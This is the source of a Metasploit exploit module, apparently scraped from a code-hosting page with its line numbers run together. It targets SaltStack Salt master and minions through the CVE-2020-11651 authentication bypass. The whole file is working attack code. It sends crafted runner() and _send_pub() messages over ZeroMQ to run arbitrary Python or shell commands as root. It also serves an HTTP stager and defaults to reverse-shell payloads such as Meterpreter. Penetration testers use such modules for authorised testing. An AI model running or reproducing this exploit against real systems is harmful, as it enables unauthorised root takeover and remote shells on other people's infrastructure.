Path: blob/master/modules/exploits/linux/misc/saltstack_salt_unauth_rce.rb
58172 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = GreatRanking89include Msf::Exploit::Remote::ZeroMQ10include Msf::Exploit::Remote::CheckModule11include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',19'Description' => %q{20This module exploits unauthenticated access to the runner() and21_send_pub() methods in the SaltStack Salt master's ZeroMQ request22server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to23execute code as root on either the master or on select minions.2425VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as26well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual27Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,281.3, 1.5, and 1.6 in certain configurations, are known to be affected29by the Salt vulnerabilities.3031Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as32well as Vulhub's Docker image.33},34'Author' => [35'F-Secure', # Discovery36'wvu' # Module37],38'References' => [39['CVE', '2020-11651'], # Auth bypass (used by this module)40['CVE', '2020-11652'], # Authed directory traversals (not used here)41['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],42['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],43['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],44['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],45['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']46],47'DisclosureDate' => '2020-04-30', # F-Secure advisory48'License' => MSF_LICENSE,49'Privileged' => true,50'Targets' => [51[52'Master (Python payload)',53{54'Description' => 'Executing Python payload on the master',55'Platform' => 'python',56'Arch' => ARCH_PYTHON,57'Type' => :python,58'DefaultOptions' => {59'PAYLOAD' => 'python/meterpreter/reverse_https'60}61}62],63[64'Master (Unix command)',65{66'Description' => 'Executing Unix command on the master',67'Platform' => 'unix',68'Arch' => ARCH_CMD,69'Type' => :unix_cmd,70'DefaultOptions' => {71'PAYLOAD' => 'cmd/unix/reverse_python_ssl'72}73}74],75[76'Minions (Python payload)',77{78'Description' => 'Executing Python payload on the minions',79'Platform' => 'python',80'Arch' => ARCH_PYTHON,81'Type' => :python,82'DefaultOptions' => {83'PAYLOAD' => 'python/meterpreter/reverse_https'84}85}86],87[88'Minions (Unix command)',89{90'Description' => 'Executing Unix command on the minions',91'Platform' => 'unix',92'Arch' => ARCH_CMD,93'Type' => :unix_cmd,94'DefaultOptions' => {95# cmd/unix/reverse_python_ssl crashes in this target96'PAYLOAD' => 'cmd/unix/reverse_python'97}98}99]100],101'DefaultTarget' => 0, # Defaults to master for safety102'DefaultOptions' => {103'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'104},105'Notes' => {106'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service107'Reliability' => [REPEATABLE_SESSION],108'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]109}110)111)112113register_options([114Opt::RPORT(4506),115OptString.new('ROOT_KEY', [false, "Master's root key if you have it"]),116OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', '.*'])117])118119register_advanced_options([120OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])121])122end123124# NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key125126def exploit127if target.name.start_with?('Master')128if (root_key = datastore['ROOT_KEY'])129print_status("User-specified root key: #{root_key}")130else131# check.reason is from auxiliary/gather/saltstack_salt_root_key132root_key = check.reason133end134135unless root_key136fail_with(Failure::BadConfig,137"#{target['Description']} requires a root key")138end139end140141# These are from Msf::Exploit::Remote::ZeroMQ142zmq_connect143zmq_negotiate144145print_status("#{target['Description']}: #{datastore['PAYLOAD']}")146147case target.name148when /^Master/149yeet_runner(root_key)150when /^Minions/151yeet_send_pub152end153154# HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one155sleep(wfs_delay)156rescue EOFError, Rex::ConnectionError => e157print_error("#{e.class}: #{e.message}")158ensure159# This is from Msf::Exploit::Remote::ZeroMQ160zmq_disconnect161end162163def yeet_runner(root_key)164print_status("Yeeting runner() at #{peer}")165166# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951167# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951168runner = {169'cmd' => 'runner',170# https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd171'fun' => 'salt.cmd',172'kwarg' => {173'hide_output' => true,174'ignore_retcode' => true,175'output_loglevel' => 'quiet'176},177'user' => 'root', # This is NOT the Unix user!178'key' => root_key # No JID needed, only the root key!179}180181case target['Type']182when :python183vprint_status("Executing Python code: #{payload.encoded}")184185# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code186runner['kwarg'].merge!(187'fun' => 'cmd.exec_code',188'lang' => payload.arch.first,189'code' => payload.encoded190)191when :unix_cmd192# HTTPS doesn't appear to be supported by the server :(193print_status("Serving intermediate stager over HTTP: #{cmdstager_start_service}")194195vprint_status("Executing Unix command: #{payload.encoded}")196197# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script198runner['kwarg'].merge!(199# cmd.run doesn't work due to a missing argument error, so we use this200'fun' => 'cmd.script',201'source' => get_uri,202'stdin' => payload.encoded203)204end205206vprint_status("Unserialized clear load: #{runner}")207zmq_send_message(serialize_clear_load(runner))208209unless (res = sock.get_once)210fail_with(Failure::Unknown, 'Did not receive runner() response')211end212213vprint_good("Received runner() response: #{res.inspect}")214end215216def yeet_send_pub217print_status("Yeeting _send_pub() at #{peer}")218219# NOTE: A unique JID (job ID) is needed for every published job220jid = generate_jid221222# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151223# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151224send_pub = {225'cmd' => '_send_pub',226'kwargs' => {227'bg' => true,228'hide_output' => true,229'ignore_retcode' => true,230'output_loglevel' => 'quiet',231'show_jid' => false,232'show_timeout' => false233},234'user' => 'root', # This is NOT the Unix user!235'tgt' => datastore['MINIONS'],236'tgt_type' => 'pcre',237'jid' => jid238}239240case target['Type']241when :python242vprint_status("Executing Python code: #{payload.encoded}")243244# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code245send_pub.merge!(246'fun' => 'cmd.exec_code',247'arg' => [payload.arch.first, payload.encoded]248)249when :unix_cmd250vprint_status("Executing Unix command: #{payload.encoded}")251252# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run253send_pub.merge!(254'fun' => 'cmd.run',255'arg' => [payload.encoded]256)257end258259vprint_status("Unserialized clear load: #{send_pub}")260zmq_send_message(serialize_clear_load(send_pub))261262unless (res = sock.get_once)263fail_with(Failure::Unknown, 'Did not receive _send_pub() response')264end265266vprint_good("Received _send_pub() response: #{res.inspect}")267268# NOTE: This path will likely change between platforms and distros269register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")270end271272# https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py273# https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py274def generate_jid275DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')276end277278# HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP279def stager_instance280nil281end282283# HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP284def exe285# NOTE: The shebang line is necessary in this case!286<<~SHELL287#!/bin/sh288/bin/sh289SHELL290end291292end293294295